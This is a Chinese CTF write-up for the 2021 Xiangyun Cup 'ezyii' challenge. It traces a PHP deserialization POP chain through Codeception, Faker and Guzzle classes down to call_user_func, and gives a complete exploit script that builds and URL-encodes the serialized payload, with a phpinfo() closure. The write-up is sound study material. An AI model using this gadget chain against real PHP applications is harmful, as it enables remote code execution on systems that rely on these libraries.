祥云杯2021 ezyii的反序列化pop链分析

31 篇文章 4 订阅
7 篇文章 0 订阅

前言

前几天刚看完祥云杯的题目,做了这道ezyii。当时直接就找到了原本链子的exp直接就拿来用了,没有过多的思考。然而打完这道题目之后,发现后面的题都不太会了(菜狗状。额,那就把这道题的链子好好分析一下吧。
声明:本文的exp及思路来源于这里

POP链分析

在做这道题的时候,根据特征来进行判断,可以看出是上述文章中的第四条链子。下面是我对这个链子的分析过程。
链子的触发点是__destruct()函数也就是下面这个类
在这里插入图片描述
这里调用了stopProcess()函数,那么自然而然地想到__call(),找到__call()之后发现还需要一个__toString(),因为__call()长这个样子
在这里插入图片描述
__toString()函数在AppendStream类里面
在这里插入图片描述
跟进rewind()函数,再跟进seek()函数。
在这里插入图片描述
发现它下面又调用了一次rewind(),这时候发现在其它类里面也存在rewind()函数,这样以rewind()为跳板就可实现两个类的切换了。
在这里插入图片描述
但是在CachingStream这个类中seek()函数调用了read()函数,我们需要跟进看一下
在这里插入图片描述
发现read()里面又调用了read()函数,刚才以rewind()作为跳板,那么这次我们也可以用read()做跳板,因为pumpStream类里面有read()函数
在这里插入图片描述
不仅如此,pumpStream类中有一个最关键的函数pump(),可以看到这个函数在上图中已经调用过了,所以只要进入了read()就会调用pump()。而pump里面有call_user_func()
在这里插入图片描述
好,到此为止我们已经分析出一条可用的路线了

RunProcess类__destruct
DefaultGenerator类__call
AppendStream类__toString
AppendStream类rewind和seek
AppendStream类seek
CachingStream类rewind和seek
CachingStream类seek
CachingStream类read
PumpStream类read
PumpStream类pump
pump函数
call_user_func

exp如下:

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值